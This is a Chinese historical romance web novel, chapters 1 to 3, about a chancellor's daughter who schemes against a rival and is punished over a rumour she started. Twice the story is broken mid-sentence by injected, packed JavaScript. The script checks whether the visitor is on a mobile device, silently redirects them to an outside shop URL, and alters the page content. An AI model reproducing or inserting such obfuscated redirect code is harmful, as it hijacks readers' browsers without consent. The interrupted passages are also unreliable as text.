《我家那位是醋坛》 1. 第1章 表里不一 “沈姐姐,真凑巧,你也来此处礼佛?”清真寺院中一位穿着素雅的小姐叫住前方正要踏进佛堂的女子,缓步向里走进。 这名女子转过身,看清来人后笑着:“明妹妹还跟我说嘴呢?你今日有空来此进香,可是听闻这清真寺求姻缘十分灵验才来的?” “倒也不是,只是家中实在烦闷,来此散心罢了,青禾,将我昨日绣的荷包拿来。” 婢女青禾将一枚绣工精美的碧绿色荷包,递到明枝溪手中。 她指尖轻轻蹭过荷包上绣的荷叶,笑着示意青禾递去给面前的沈小姐。 “这荷包里加了艾叶,天儿渐渐变得燥热,这寺中的蚊虫可是毒辣,一点子心意沈姐姐莫要嫌弃才好。” 只见沈小姐身旁的一名婢女匆匆上前,双手轻轻接过荷包递给沈烟。 她收下荷包,轻轻笑着道:“明妹妹说的哪里的话,那咱们一同进去求签吧。” 沈烟正要往里走去,明枝溪连忙道:“姐姐你先请,我方才也说了,并不是来此求签上香的,我先去后边园林中逛会儿,你若是得空便来寻我,你我二人叙叙旧。” 沈烟一只脚已经迈过门槛,有些失望般:“那我是不赶趟了,你且去逛吧,沈府中还有些要紧事等我回去处置呢。” 明枝溪依旧带着那副笑颜,淡淡开口:“那我便不打搅姐姐了,回见。”说罢只见沈烟点点头,两人便分开了。 沈烟朝着佛堂走去,身后的婢女紧紧跟着,见明枝溪走远了才悻悻道:“哼,这明小姐早早便知道姑娘您要来这,否则又怎会恰巧带了荷包,又凑巧碰着小姐。” 只见沈烟跪在佛像面前,双手摇着签筒,一只竹签掉落在地,那名婢女捡起交给沈烟,上面赫然写着下下签。 她将竹签放回桶内,没好气道:“我是不明白,她好端端一个嫡女,虽然母亲不是很受宠但好歹也是太傅之女,父亲又是当朝丞相,还来找我讨好作甚?艾草荷包,防蚊虫叮咬,哼!” 那名婢女搀扶起自家小姐,只见那沈烟露出厌恶的神情道,倒也没当场发作,就这样一干人往外走去,上了马车。 与此同时另一头,青禾有些不解问道:“姑娘,您这是何意?早早的便打听到了沈家二小姐要来清真寺求签,又将那荷包赠与她,您不一向最是讨厌那沈烟。” 明枝溪嘴角忍不住上扬,索性不装了大笑道:“我是在讽刺她,前些日子那沈家大小姐只是在打马球时险些坠马,被谢槐池扶了一把,那沈烟回府便大闹一场。” “他家大人又不是个明事理的,便狠狠责罚了她家大小姐,她倒是也不知羞,一个劲的往外说她爹爹是如何如何宠爱她与她小娘,这可不就像那些蚊虫见人就肆意叮咬。” 青禾也跟着笑:“那沈二小姐能明白这层含义吗?” 两人走至一处亭中,明枝溪坐了下来,外头淅淅沥沥下起小雨,“她虽行事偏激但也是半个聪明人,她那小娘可不是吃干饭的。” 这时只见那曲桥上一名男子正向此处跑来。 青禾走上前去喊道:“此处有女眷,世子还是莫要上前的好。” 那名男子仿佛没听着似得,依旧我行我素,只得返回到自家小姐身旁,不一会儿那名男子便到了亭下。 只见身后还跟着一名侍从,他开口:“命重要,还是名声重要,我还是分得清的,你我二人清清白白,并未干任何见不得人之事,就算是私会这周遭也没人看得见,怎么?这亭子你家造的?” 明枝溪还从未见过如此不可理喻的男子,她打探了穿着,目光便注意到腰间那块双鱼玉佩,开口:“话虽没错,可这般不顾男女大防,未免有些失礼吧,如若我猜的没错您便是谢大将军的爱子谢槐池,谢世子吧。” 谢槐池就近找个地方坐下,眯着眼看着眼前这位穿着打扮素净的女子。 她穿着衣裳的布料可谓是千金难求,是轻容纱制成,薄如蝉翼:“你便是丞相府嫡女明枝溪,明姑娘吧。” 明枝溪见那人坐下,赶忙将别在腰间的团扇取下,挡在脸前问:“哦?谢世子怎得知晓?” “这话应该我先问才对。”谢槐池从怀中掏出帕子,边擦拭着额头上的雨水边说道。 明枝溪伸手指向那块好似琉璃的双鱼玉佩,缓缓道:“你腰间那块双鱼玉佩,是前些日子马球会上的球彩,种水及做工都是顶尖的,那日马球会我要是记得没错便是你夺魁。” “旁人未曾留意之处,偏你瞧的仔细。”谢槐池将手帕收起看向她,“你那一身轻容纱可懿赐的好物,彩帛铺为了讨好皇后早早赶制出来这一匹,博夫人又与这皇后犹如姊妹,想必是皇后赐的,那你不是丞相府嫡女又会是哪家姑娘?” "你消息倒是灵通。"明枝溪说罢便侧过头去不再看他。 谢槐池看着园中雨景,觉着气氛略微有些尴尬,便开口问:“明姑娘来礼佛可是向佛祖祈愿?” 明枝溪并未转头:“并无,荀子道‘善易者不占’凶吉我自然知晓,倒也不必劳烦佛祖。” “那你来这是单纯解闷?” “你不也是。”明枝溪此话一出气氛便更为尴尬。 两人相顾无言,疏雨敲竹,泠泠作响;春雨来也匆匆去也匆匆,约莫半柱香功夫便停了。 明枝溪站起向外走去:“便不打扰世子好雅兴了,先行离去。” 谢槐池看向她,手中把玩着双鱼玉佩:“你先走吧,我晚些再走,如若是咱们俩一同出了这寺院门,明天指不定传成什么样。” 明枝溪又挂上淡淡的笑,似乎是咬牙切齿:“原来谢世子也知道男女大防之理,可如若是咱们俩在这亭中赏雨的事被人散播出去,明儿指不定有哪些官家小姐背地里嚼舌根呢,告辞。” 说罢也不等谢槐池出口,转头就走。 青禾愣愣的跟在后面,小跑着喊着:“姑娘等等奴婢。” 上了马车,没等青禾反应,明枝溪便给自己倒了一杯茶,一饮而尽,马车缓缓启程。 此时已是午时,明枝溪到了府中便往大娘子屋里走去,仪态端正,门外的老妈子见她来了恭恭敬敬的迎上去,领着她往屋里走去,青禾低着头跟着。 “姑娘您先坐会儿,主母正从主君屋里赶来呢。”领路的老妈子说着。 “净妈妈先让小厨房把饭菜呈上来吧,我估摸着就这几步路,等饭菜上齐了,母亲也到了。”明枝溪坐下。 只听见净妈妈应了声便下去了,其实明枝溪这会儿是真的饿了,看着桌上的搞点嘴里便泛起甜味,想着偷吃一块应该没问题的时候只听见院中一阵脚步声,便打消了这个念头。 只见博夫人缓步走进,小厨房的送餐婢女跟在后面,博夫人不紧不慢的坐下,婢女将饭菜摆好便退下了。 净妈妈端着鸡汤走了进来,放在一旁的小桌上:“禀大娘子,这是主君吩咐做的,说是补补身子。” 博夫人闭着眼轻轻点头,手中正盘着一串檀木佛珠,“知道了,还有别的事吗?” 净妈妈微微欠身:“那老奴出去候着,有需要叫一声便是。”说着使了使眼色,婢女便都退了出去。 明枝溪可是真的想吃,早已饥肠辘辘的她闻着鸡汤味儿魂都不知道飞向哪儿去了,只是母亲尚未发话,她也不敢轻易动筷,只好先正襟危坐的看着。 等了许久也不见母亲说吃饭的明枝溪弯了弯腰,只见博夫人忽然道:“今日去礼佛?” 明枝溪小心翼翼答:“是。” “跪下。” 明明语气并无半分怒意,可还是听得明枝溪心头一紧,双腿不受控制的跪了下去。 “你倒是很麻溜啊,你今日是不是送了沈府二小姐一个荷包,你真当她是那种忍气吞声的主儿?好!就算她是,那她小娘呢?你如此行事可曾想清楚后果?”博夫人睁开眼,忽的拔高嗓音,震的小桌上的鸡汤泛起涟漪。 “女儿以后不敢了!请母亲责罚!”常言道,识时务者为俊杰,明枝溪自然晓得,如何争辩都没用。 只见博夫人拿着佛珠,眉头紧锁道:“去你自己院里跪着,让净妈妈跟着你去,看你跪够了两个时辰再用餐。” “是,女儿谨遵教诲。”明枝溪缓缓退出屋外,净妈妈显然已经听着了,不待她说话便已经一副主动跟着的架势。 见状明枝溪便也不说了,依旧步态沉稳的朝自己院中走去。 紫澜院中,明映正在练字,听了这消息便停下来:“真的,她真将那荷包送给那沈家二小姐了?就她小娘那功夫竟然不闹?” 和音仪面前放着绣棚,手中的绣花针有来有回的穿梭着,“不会上门闹的,闹大了说也是姑娘送了荷包人沈烟对号入座,自知理亏罢了。” 明映放下手中的毛笔,走像和音仪依偎在侧道:“啊?没有闹啊,那为何说是去罚跪去了?那既然对方也无把柄在手,打死不认就好啦。”她坐在和音仪身边。 和音仪看了她一眼,手中绣活并未停下:“你也知道我们这个大娘子从来都是不问世事,表面上看着人畜无害的,可心机深沉,你想想为何每次雪竹院中发生了什么事情她都能知道。” 明映恍然大悟:“明枝溪那安插了眼线!可回回都这样明枝溪能不知道吗,还不避着点,换我就绕道走。” 和音仪听了宠溺的笑了笑:“今日可只有她与那名婢女,你知道的那名婢女是她亲手挑的人,说一不二,忠心耿耿,可为何那静安院还能知晓?” “我说啊,便是找人偷摸的盯着,我想她应是已经放弃了,大娘子哪次批评她不是乖乖认错?” 明映露出匪夷所思的神情,讪讪道:“啧啧,真是恐怖,还好我娘亲是您呀!” 和音仪停下手中的绣活,轻轻点了点明映的鼻尖笑:“数你嘴甜!” —————— 雪竹院内,明枝溪已经饿的眼冒金星了,可姿态依旧笔直,目视前方,时间转瞬即逝,很快两个时辰到了。 净妈妈一走,明枝溪便瘫软在地喊:“青禾!救命青禾,快扶我去榻上,我的膝盖啊!” 青禾连忙上前扶起自家小姐,跌跌撞撞的扶到榻上,掀起裤腿一看,已经乌青一片,又赶忙去拿药膏涂抹。 “嘶——,轻点轻点,疼!我不活了啊,都什么日子啊——”明枝溪虽说喊着疼,可一滴泪都没掉。 此事她早就习以为常,每次一干出格事儿,不出一个时辰,她娘总会知道,只好苦涩道:“这药膏快没了,改天找大哥要去。” “不用了,我已经送来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又过了一会儿,明枝溪已经在榻上形如走尸,连叫喊都放弃了,好在沈雪晴已经赶到。 一句“枝溪”便把她唤醒,明枝溪不顾疼痛,跑下去迎接沈雪晴,“你终于来了,我可无聊死了。” “你瞧你一脸委屈样,我告诉你,那沈烟到家后在小娘院里大发脾气,可又半点实质证据也没有,只得作罢,可谓是打碎牙往肚里咽。” 沈雪晴一脸兴奋,好似这样便让其深受委屈一般。 “这算什么,等我解了禁足,下次马球会,我让她哑巴吃黄连,有苦说不出!” “早就看不惯你家那样了,你爹也真是,宠妾灭妻的道理都有,明明受委屈的是你好不好。” 两人站着聊着,一时间竟然忘了坐下,直到明枝溪膝盖略微发酸才意识到:“青禾你也真是的,也不提醒我们坐下聊。” 沈雪晴撅起嘴,半开玩笑:“我看那,我才是那良药,我一来你腿不痛,身体都有劲儿了。” 两人往榻上走去,并肩而坐,青禾也跟着打趣:“是啊,我看你都不喊疼了,就想着让您,多聊一会,说不定聊着聊着膝盖啊就好了呢。” 这时沈雪晴看向榻上的三本书,脸上竟然泛起红晕,羞涩道:“你大哥来过了?” “来了又走了,只有我这孤家寡人啊。”明枝溪开着玩笑,“怎么?你想见他?你莫不是...” 沈雪晴脸涨的更加红了,迟迟说不出一二三来。 看到此处明枝溪可是真愣住了,开玩笑说的也没想到真是啊,“不是,我拿你当朋友,你却想当我嫂子!” 听的沈雪晴害羞的紧,顺手拍了一下明枝溪,很显然,眼睛瞪的更大了。 “我的膝盖!哎呦喂,造的什么孽啊,要我说你和我哥真是天生一对啊。” 沈雪晴连忙抚摸着明枝溪的膝盖:“对不住对不住,实在是情何以堪,这才下手重了些,也没想到会打到你的膝盖,弄疼了吧。” 缓了有一会儿了的明枝溪淡淡道:“你若是真喜欢我哥,我帮你说和啊,虽然不能说媒。” “但是打听打听有没有喜欢的人还是可以的,还有还有,我哥喜欢往书堆里扎,你也知道的文官嘛,就是这样。” “所以可以不经意之间在藏书楼偶遇呀,我跟你说哦,你绝对放心,如果我哥喜欢你,他是能做到一生一次一双人的,怎么样心动吗?” 况且,我哥其实也喜欢你,两个倒霉孩子,大胆些会被削层皮吗?明枝溪心中想着。 沈雪晴似乎有些沮丧:“嗯..只是我的家世不好,父亲只是从七品,当真是比不起你们丞相府,就算我与他两情相悦,可父母之命媒妁之言,不同意终究是错付的。” “哎呀,我倒是觉得,丞相,没有比这个更大的官了,难道我哥非要取公主?” “再说了我觉的你父亲监察御史,虽是从七品,可这职位还是不低的,弹劾百官,连奏折都可以直接递给圣上。” “况且如若是他当真心悦你,便不会做待宰的羔羊,此事交于我你放心。” 只见沈雪晴皱着眉头,一脸沮丧。 “我们不聊这些,若是给谁听到传播出去可不得了,我肯定又多一个罪名。” “我告诉你,送给沈烟的那个荷包都不是我绣的,我去寺庙的路上顺手买的,她多大的脸还要我亲手绣的东西......” —————— 时间转瞬间便从指缝间溜走,也到了该回府的时间,两人恋恋不舍的互道回见。 而在明枝溪的脑海里又有了一个计划,就算沈雪晴不主动也行的点子。 2. 第2章 算错一步 明枝溪嘱咐青禾将其送出府外,两人前脚刚踏出院门,窗外便响起窸窸窣窣的声响。 明枝溪心领神会般打开窗户,只见一位身穿青灰色外袍的女子翻窗而入,行礼后道:“主子,您找我?” 明枝溪淡定的转身坐回榻上:“去把我今日在清真寺与谢槐池相遇之事在不经意间告知沈烟,我在等她的好戏。” ...... 那人听罢点头便由原处返回,不留一点痕迹,只听见窗外又下起了绵绵小雨。 ———— 由于下雨,原本喧闹的街市一哄而散,躲雨的间隙只见沈府门外,一名小厮正迎接着自家小姐回府。 而这时沈烟莫名走出道:“哟,我以为爹回来了呢,没想到是姐姐啊,姐姐这是前去何处啊?莫不是丞相府?哦~我晓得了。” “你是和那贱蹄子嘲笑我罢!我的好姐姐,家丑不宜外扬这道理你也不懂么?马球会上的事我且不提你如今怎又去通风报信,得知我在家中跳脚你们很开心吧!” 沈雪晴不语,本想直接略过,只见沈烟身旁的婢女挡在前方,无处可去。 她只得盯着沈烟淡淡道:“妹妹可莫说家丑不得外扬,如今将我堵在门口,是想让街上所有人都知道我们沈府家宅不宁吗? “这闲话若是传进宫被圣上所知晓,对爹爹的仕途可不是什么好事。” 沈烟正想反驳,这时两位女子从面前经过,嘴中说着清晨明枝溪与谢槐池在寺中相遇,两人一同赏雨,好生般配。 沈烟顿时怒火中烧喊道:“好啊,我说怎么上来膈应我,某些浪花蹄子仗着自己家世便如此欺负我们这些人吗!还有你!沈雪晴是不是早就知道了!” 说着便冲向前去作势要打沈雪晴,沈雪晴躲避不及只好侧过头去。 而此时一辆马车从不远处驶来,眼看着要到府门口,她一眼认出那是她爹沈利的马车。 她看着马车进入视角,便佯装被沈雪晴推到地上,只见马车上沈利急匆匆下车,扶起沈烟怒斥道:“雪晴!你怎如此不识大体,莫不是当家法都是虚设!” 沈雪晴好似猜到了她爹会说什么只好道:“是,女儿自会去家祠领法。”说罢便转身而去,留下这对雨中凌乱的父女。 而沈烟还在假惺惺道:“爹别怪姐姐,是我不小心惹恼了姐姐,爹爹就别责罚她了。” 沈利松开手,两人一同向里走去,沈利道:“哼,就她这刁蛮任性的样子,以后哪家人敢娶她,你看你们已到适婚妙龄。 “来求亲的哪个是来找她的,还是我们烟烟乖,那谢槐池不娶你是他的损失。” 沈烟的手默默攥紧,好似要将指甲嵌入皮肉,沈利称要处理宫中事,前去书房。 沈烟见沈利一走,顿时怒目圆睁跑向她娘的院子里,哭着喊着道:“娘!那明枝溪简直是仗势欺人,仗着自己父亲便肆无忌惮! “她与谢世子在清真寺中赏雨,现如今都在称他们相配呢,我现在该怎么办啊。” 巴依秋听见响声急急忙忙从屋中跑出,看着撒泼打滚的女儿道:“哼,你如今在这跟我闹也没用,你也知道人家父亲备受圣上重视。” “而她母亲又是太傅之女,我一个罪臣之女怎么敢和她相提并论?你哭吧,最好哭死了去,看那谢世子怜不怜惜你。” 沈烟停止哭泣,嘴边多了微笑道:“娘,你有法子是不是?” 巴依秋自傲的笑着,拿出手帕晃了晃,便转身回屋,沈烟追上撒娇道:“哎呀娘,你就跟女儿说说吧,说了又不吃亏不上当。” 只见巴依秋往那椅子上一坐道:“急什么,赖妈妈,让小厨房上菜吧,还有你们都退下,没有我的吩咐都不准进屋。” 赖妈妈身后,一名长相清秀的婢女走上前来布菜,巴依秋见她模样清秀不知怎的便有些恼了,只见她刚要退下,巴依秋便伸出脚拌了一把。 那婢女顿时摔在地上,慌张起身道:“奴婢是新来的,奴婢错了,奴婢错了。” 而巴依秋一挥手,赖妈妈吼道:“你个贱婢,做事如此粗心大意,来人啊,拖下去发买了。” 外头几名小厮慌里慌张的进来,捂上嘴便将人拖走,屋外的人习以为常,也不敢交头接耳,只是手中的活计变得更加勤快,个别新来的便拽紧衣袖不敢回头看。 屋内巴依秋笑着,边吃着菜边道:“真以为自己和那明枝溪一样是世家小姐啊,敲那狐媚子样儿” 沈烟冷哼一声道:“我看明枝溪也是狐狸精,怎么回回到哪都有男子为其倾倒,就凭他那张慈悲脸,她也配?” “吃菜,人不能在饿着肚子去思考,只会又饿又气,我跟你说,她不是在外边与那谢世子赏雨吗,那说明什么?他们又没定亲。”巴依秋轻声细语道。 沈烟听话的吃起来了,听完母亲的话,茅塞顿开道:“娘的意思是,他们是私会?我只要将此事说出去她绝对身败名裂。” 巴依秋放下筷子,语气极为郑重道:“可你得想好了,如若她正趁此机会上位那可如何是好。” 沈烟好似终于聪明了一回:“这好办,让我去探探虚实,看看谢哥哥对她是否有意。” “如若是并无爱慕之意,我便说那明枝溪缠着谢哥哥陪她赏雨,我觉着应当不会喜欢的,我记着他们不认识,想来应该是偶遇。” 坐在对面的巴依秋点点头,两人满意的吃着饭。 ———— 雪竹院内,明枝溪正在美美的吃着大餐,心中想着无拘无束真好,若是能出门那就更好了。 此时青禾来报,称家主在来的路上,而明枝溪只道:“哦,来便来吧,你带着院里的婢女去吃饭,留下那三四个旁院来的即可。” 青禾习以为常应了一声便退下了,不一会儿院中石子路上传来脚步声,明枝溪瞬间坐直,端庄的吃着饭,只见明衢推门而入。 明枝溪起身做福道:“早知父亲要来我便晚些吃了,我让人盛饭上来。” 明衢点点头,明枝溪对着外头喊道:“翠儿,再盛一碗饭进来,记得挑软些的,父亲最近牙疼,再去地窖取一些冰。” 翠儿点头行礼,便快步去了;屋内明衢不解,问道:“我们家枝溪怎么知道为父牙疼?” 明枝溪捂着嘴轻轻笑着:“父亲也真是的,待人宽厚,你院中的小厮怎不提醒您,您的脸颊都红肿了,一会儿给您冰冰,不然过些日子上朝可是要给笑的。” 明衢恍然大悟般,摸着自己的脸道:“可是我今日对着铜镜也看不太出来,摸着也并无异样啊。” “那说明女儿眼力好!”明枝溪玩笑着,可姿态上并未失去礼仪。 很快翠儿便端着冰块与饭进来,行礼后放在明衢面前,便向后退去。 等到关上了门明衢吃着饭说道才道:“你这屋里总要放进来几个婢女,不然什么事都要开门传唤,这样有失体统。” “父亲知道的,女儿不喜屋内有旁人,故而才不让她们进来,我觉的那些小事自己也能干好的,除非必要情况,况且还有青禾呢。” 明枝溪见父亲动筷了便也开始吃。 明衢抬眼望向她,眼神飘忽:“你也不要怪你母亲,她是严苛了些,但也是为你好,罚的是重了频了些,但你也要从自身上找原因,不要总是那么顽皮。” 明枝溪并未失去分寸:“是,女儿谨听教诲,况且女儿从未生气,女儿自知有许多地方做的不好,也在努力改善呢。” “嗯!如此便好。”两人吃完饭,青禾也回来了,她打开门行礼,开始收拾桌面,而明枝溪正用布包着冰块给父亲敷着脸颊。 “长大了,懂事了,我们枝溪有没有什么心仪的男子啊,父亲可以帮你参谋参谋。” 明枝溪摇摇头道:“并无,此事还不急。” 明衢摆摆手,明枝溪停下手,将冰块放入碟子里,明衢道:“都依你,父亲先回书房了,你今晚早些睡。” 明枝溪点点头,做福后看着父亲往院外走去,连忙关上门,四仰八叉的躺在床上,心中想着想看的戏码怎么还不上演,等的花都谢了。 只见窗外又响起声,青禾进来开了窗户,那名穿青衣的女子在窗外小声道:“主子,您交于我的事情已经办妥了,可还有其他吩咐。” “盯紧沈府,有其他吩咐会给你们传信的。”明枝溪闭着眼“我现在累了,吃饱喝足睡大觉喽。” 那人听完转身离开,青禾不禁问道:“小姐,你们又瞒着我什么事情,你现在怎么什么事都不跟我说了!” 明枝溪呢喃道:“明日你就知道了,熄灯吧。” 雨越来越大了,拍打着竹叶在滴落在水潭中发出悦耳的音律。 第二日清晨,青禾忙里慌张的闯进屋拍打着明枝溪嘴里喊道:“小姐,京城中都在传你私会外男呢,你还睡呢,你心真大啊,快起床啊,大娘子和家主在主殿喊你问话呢。” “哦,那帮我更衣吧。”明枝溪听见私会外男和问话,顿时清醒了,连忙换了衣服正准备往主殿赶。 刚走出院门只见前方明衢与博英风已经气势汹汹在赶来了,只好就地跪下,博英风走向前。 明枝溪只觉着脸上像是被火灼烧般疼痛,赶紧磕头道:"母亲,不问女儿便盖棺定论吗,那女儿只好一头撞死,以表清白了。" 青禾在里头瞧见了并未出声,而是赶忙从后院绕出去,眼中含着泪,跑去找明子晋。 明衢拉起女儿,护在身后道:“你打她作甚,就这么不相信自己女儿吗,好歹也听听她怎么说吧!” 博英风冷哼一声,直直往屋内走去,坐在榻上,父女两人面面相觑,不一会儿也走进屋。 明衢坐在博英风边上,只见博英风不动声色地往边上挪了挪,开口道:“跪下!老老实实交代。” 明枝溪走向屋内,跪下:“昨日礼佛时忽的下雨,我在亭中避雨,原是我一人。” “可那谢槐池碰巧出现,来亭中躲雨,这亭子乃是公用,我也便不好说什么,只是躲雨,并未像外面传的这般难听。” 博英风皱着眉,一脸不耐烦道:“你有人证?” “自然...没有,那日亭子就我与谢槐池二人,我是不知这消息如何泄露的。” “指不定是有人误认为我与他有...这才信口雌黄,女儿以为那日礼佛的沈家那庶女,是不是以为女儿羞辱她,便就是不想她与谢家世子见面。” “这才恼羞成怒去散播谣言,毕竟谁不知道她最是喜欢那厮。” “女儿记得那日有邀请沈烟一同前去闲聊,只是她推脱了,母亲大可亲自去问,女儿并未干见不得人之事。” 博英风不怒反笑:“好好好,你看看,自己被识破还要赖上旁人,你说说,你有何证据证明这事是沈烟恶意散播的?” 明枝溪算了算时辰,咬咬牙:“现下并无,可以去搜证。” 茶杯猛的摔落在地,发出刺耳的声响,博英风大喊道:“家法伺候,来人呐,给我打这个不孝之女,打死以正家风!”说罢一群婢女扛着一字凳进来,示意明枝溪上去。 明枝溪暗叫不好,心中想着,时间太早了,刚刚应该说慢一点的,不然等不到他哥搜证啊。 虽然已经把证据放在面前,他一问那些人便都招了,可是时间不等人,那怎么办啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567699|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这时明衢蹙眉,语境低沉道:“你对自己的亲生女儿也下得去这狠手吗,你不妨听听她的话,说了是被冤枉的!” 博英风狠狠剜了明衢一眼,提高了音量,怒道:“你说是就是,她说是就是,你还要我这主母做些什么,后宅的事情,你自己去掺和?明枝溪,给我上去!” 明衢有些无奈,可愤怒远远大于无奈,大喊道:“你,好,当年我对不住你的,你就发泄在我们的孩子身上,稚子何其无辜。” “我这就去告你反了天了,我,我去告你犯了七出,我看你们谁敢动我的枝溪,谁动他,我回来后便拉出去杖毙。”只见明衢一身官袍往宫中去。 博英风面色铁青,眼中多了几分毒辣,道:“打啊!他说话管用我就不管用了,你们应该知道,这是后宅的事情,后宅我是当家主母!” 明枝溪闭着眼好似接受命运的审判。 刚趴上那些婢女便开始打,虽说力道不算重,但一下加一下还是会感到撕裂般的疼痛。 而这时门外急匆匆喊道:“大娘子请停手罢,她是你亲生的啊,我尚且不忍心,你怎么能忍心啊!” 明枝溪听着声居然是和音仪,明枝溪心中想着,虽然觉得她只是妾室,可倒也觉得她若是不当妾还有更好的出路。 可惜为情所困,但是,她现在来,不是会让博英风往死里打啊,别来了罢! 显而易见还是来了,“大娘子,心疼心疼她吧,不要因为妾身去迁怒一个孩子啊,自从妾来府中,您便对两个孩子时而打骂。” “枝溪是姑娘家,若是背上留下痕迹,以后夫家如何看待她!” 和音仪几乎是跑着来的,她跪在博英风面前声音颤抖:“要打就打妾身吧!”说罢便作势要往明枝溪身上趴。 明枝溪连忙喊道:“不了不了,小娘,这是我该受的,姨娘请回吧。”打的时长有些久了,背上的皮已经破了好几个口,鲜艳的血慢慢渗透出来,黏在木棍上格外显眼。 “好啊你们,来人啊,拉住和小娘,莫要让她伤了自己!”博英风喊道,话音刚落,几名小厮上前一把扣住和音仪。 明枝溪只觉得天旋地转,怕是要顶不住了,心中埋怨着明子晋如何这般慢,还有早上就应该多穿两件;在她快晕过去时终于是听到明子晋的声响了。 “母亲!请收手,孩儿请了谢家世子前来作证,还收集到了一些证据,证明此事与枝溪无关!”明子晋与谢槐池站在院门外,高声喊着,并未进入。 博英风听了便也让婢女都停下,和音仪也被放开,众人纷纷退下,“进来。”博英风说道。 两人齐刷刷进来,止步内院,将证词由小厮拿进去。 谢槐池蹙着眉,眼神低垂,趁着小厮开门时,偷瞄了一眼里头的处境,只见一片红,门便被关上。 他眼中出现了一瞬间的垂怜之色,不过很快便调整了思绪,道:“在下开国侯府之子,谢槐池,昨日确是偶遇风雨,不得已才贸然与明小姐在亭内相逢,我与她并无...私情。” “还望夫人明鉴,此事我与明兄已调查清楚,是那沈家沈烟散播谣言,称我与明枝溪有私情,两人庙中私会。” 事实上,那蠢货说的更为难听,好似抱着一副‘我得不到,你也别想要’的气度。 博英风并无言语,只是推开门走出屋内,径直略过二人,连眼色都并未给出一分。 和音仪见她一走慌张喊道:“明映,快,去喊医官。” 只见屋外刚被博英风瞪了一眼的明映,带着一脸无辜的医官和青禾冲了进来。 三人将明枝溪半背半拽的背上床,明枝溪喊道:“外面的...谢世子,多谢了,我哥进来,您请回罢,改日若是有机会,定会登门拜访感谢你的好意。” “又或者可以的话去拦一下我爹吧,他是气昏头了,可不能休妻啊。” 谢槐池并未回话,向明子晋交代了什么便走了。 迟迟不见回复的明枝溪也不管这么多,医官正在开处方,等医官走后,和音仪将明枝溪的衣服撩起,抹了一把药。 只听见惨叫声传来,震耳欲聋,“啊——痛,啊——。” 惨叫声持续了没多久,只见和音仪缓缓起身,打开门道:“晋哥儿进来吧。”明子晋点头,走了进去。 四个人围绕着明枝溪目光关切。 “父亲在路上我们碰到了,现下正去沈府路上,你不必操心,还有谢家世子说给你准备的药,下午送来,军中的,止疼祛疤,呃...他还说...你是不是做局了?” 三人顿时回头,异口同声道:“啊?做局?什么局?” 明枝溪笑了笑,有些尴尬道:“呃,哈哈,说来话长......。” 和音仪有些怒意,语气中带着些不耐烦,坐在床边的一张小凳上道:“那便长话短说,你与谢世子的事情,是你散播的?” 明枝溪想换换姿势,一直趴着有些胸闷气短,可稍微挪动一下便传来一阵阵刺痛,只好放弃:“是我放出的消息,可是不是为了出一口恶气啊。” “我这个人心胸没有那么狭窄,只是我现在不能告诉你们,一会儿,你们就知道了,还有!哥,你喜欢沈家大姑娘吗?” 明子晋被问的有些一愣,随后脸上泛着一阵红晕,挠了挠头,小声开口道:“你,你问这个做什么,和你布局又没联系。” 见明子晋这般模样,明枝溪探口气道:“有联系,但我放心了,还好...没有好心办坏事。” 四人不理解,眼神中充斥着震惊,不可置信的神色,再次异口同声的道:“什么!你到底干了什么!” 3. 第3章 请君入瓮 明衢赶到沈家时博英风也匆匆赶到,两人对视一眼,相顾无言,只见门外的四名小厮见着这两位大人来些许震惊,连忙的上前恭迎。 而其中一名胆子稍小,跌跌撞撞的跑进去想通报沈利,终于是跑到了书房门外,却被院子中洒扫的婢女告知,沈利进宫了。 这名小厮愣了许久,直到想起了什么似的,往主院跑去。 正坐在院中看账本的广琼音见这名小厮慌不择路,有些诧异不待她问,那名小厮便断断续续道:“夫,夫人,丞相府,明丞相与博夫人在堂厅等候多时了。” 广琼音震惊,心中闪过许多念头,她使劲让自己的内心平静,匆匆赶往堂厅,路上心中坎坷,自知本没有得罪丞相府才是,而沈利在朝中也谨小慎微,从不作威作福,到底是哪里惹到这两位大人了。 心中想着,脚步却不见一丝停歇,到了堂厅门外时,广琼音整理了自身的发髻衣领后坎坷走进,见了明衢与博英风那阴沉的面色,心中少了几分底气。 她微微欠身走向主座,而两人一左一右的坐着让其压力倍增。 广琼音端起茶杯,双手发颤,强行镇定开口道:“两位大人来沈府这小庙可是有什么事吗?” 只听见博英风冷哼一声,皮笑肉不笑,语气中略微带点讽刺:“沈府好家风啊,沈烟污蔑传播我丞相府大小姐与谢槐池有私情,你可知晓?” 广琼音听了双手一软,茶杯砸落在地,茶水洒落一地,她看向边上的何妈妈,何妈妈心领神会捡起地上的茶杯便退了下去,而这时堂厅内服侍的小厮婢女都退了出去,只留下三人面面相觑。 “咳咳。”广琼音假装被水呛到镇定开口,可语气里还是充斥着惧意,略有些发颤:“此事可有证据,我已派人去宫中请主君,可若是这事没有证据恐怕...。” 博英风将手中紧拽着有些发皱的纸张用力拍在桌上,带了怒意:“这便是沈府的待客之道?我们堂堂丞相府还会空口白牙的攀咬你们不成?” 明衢略显平静,可额角青筋暴起:“我知道,你在沈府说不上话,可到底是当家主母,罢了,让巴依秋与沈烟过来,等沈利到了,我们再好好掰扯,谁对谁错到时自有定论。” 广琼音好似有些庆幸,望向门口方向,悻悻开口:“她们想必已经在门外了,只是不敢进来罢了。” 此时门被推开,二人走进连忙跪下,巴依秋紧咬牙关,她本是没什么心机的,可此时她也知道自己被明枝溪那丫头算计了。 可她猜不透,猜不透明枝溪算计这一遭的目的究竟是什么,看着只是为了帮沈雪晴出口恶气,可这小小的事情也用不着拿自己的清誉做赌注吧。 巴依秋见三人不语也不敢起身,沈烟额头布满汗珠,跪着眼神盯在地板上,双手撑着,肩膀一颤一颤的,面色乌黑,显然是吓破胆了。 